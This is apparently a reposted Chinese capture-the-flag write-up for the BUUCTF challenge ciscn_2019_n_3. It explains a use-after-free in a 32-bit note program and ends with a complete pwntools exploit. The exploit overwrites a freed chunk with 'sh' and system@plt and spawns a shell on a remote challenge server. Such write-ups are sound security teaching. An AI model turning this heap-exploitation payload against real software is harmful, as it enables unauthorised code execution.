buuctf ciscn_2019_n_3

do_new函数:
在这里插入图片描述
申请一个0xc大小的chunk,前四个字节存放的是输出函数的地址,中间四个字节存储的是删除函数的地址,最后四个字节,因数据类型的不同而不同
当你选择整数类型,最后四个字节存放的就是一个数字
当你选择文本类型,你就可以向程序请求申请一个一定大小的chunk用于存放文本,而最后四个字节存放的就是这个新的chunk的地址

do_dump函数:在这里插入图片描述
输出内容
do_del函数:
在这里插入图片描述
发现free并未将指针置0,再看rec_int_free函数和rec_str_free函数,也没有置0,存在UAF的漏洞
在这里插入图片描述
在这里插入图片描述
既然这样,很容易想到的是,我们要想办法控制输出函数和删除函数这两个指针,即前两部分的四字节。
针对这个0xc大小的chunk,如果我们把前四个字节的内容改为“sh",中间四个字节改成system函数的地址,那么在执行free时,就能getshell了
注意这里是32位程序,四个字节,所以放不下"/bin/sh",但可以用"sh"

下面想办法控制这两个地方,利用这个UAF漏洞

add1(0,1)
add1(1,2)
add1(2,3)

申请三个存放整数的chunk

delete(0)
delete(1)

依次free掉chunk0和chunk1
现在,chunk1在表头,指向chunk0

system_plt=0x08048500
payload="sh\x00\x00"+p32(system_plt)
add2(3,0xc,payload)

我们向程序申请存储文本,大小也是0xc
这时,首先chunk1会被拿出来,然后,由于大小正好符合,chunk0随后被拿出来作为存储文本的chunk,我们可以随意写入数据
写入sh字符串和system函数地址

delete(0)

由于全局指针在free时,没有被置0,delete(0)时,相当于执行的就是system(“sh”)

完整exp:

from pwn import *
sh=remote("node3.buuoj.cn",26317)
context.log_level='debug'
def add1(index,integer):
	sh.recvuntil("CNote > ")
	sh.sendline("1")
	sh.recvuntil("Index > ")
	sh.sendline(str(index))
	sh.recvuntil("Type > ")
	sh.sendline("1")
	sh.recvuntil("Value > ")
	sh.sendline(str(integer))
def add2(index,size,content):
	sh.recvuntil("CNote > ")
	sh.sendline("1")
	sh.recvuntil("Index > ")
	sh.sendline(str(index))
	sh.recvuntil("Type > ")
	sh.sendline("2")
	sh.recvuntil("Length > ")
	sh.sendline(str(size))
	sh.recvuntil("Value > ")
	sh.sendline(content)
def show(index):
	sh.recvuntil("CNote > ")
	sh.sendline("3")
	sh.recvuntil("Index > ")
	sh.sendline(str(index))
def delete(index):
	sh.recvuntil("CNote > ")
	sh.sendline("2")
	sh.recvuntil("Index > ")
	sh.sendline(str(index))
system_plt=0x08048500
add1(0,1)
add1(1,2)
add1(2,3)
delete(0)
delete(1)
payload="sh\x00\x00"+p32(system_plt)
add2(3,0xc,payload)
delete(0)
sh.interactive()

猜你喜欢

转载自blog.csdn.net/weixin_45677731/article/details/108320504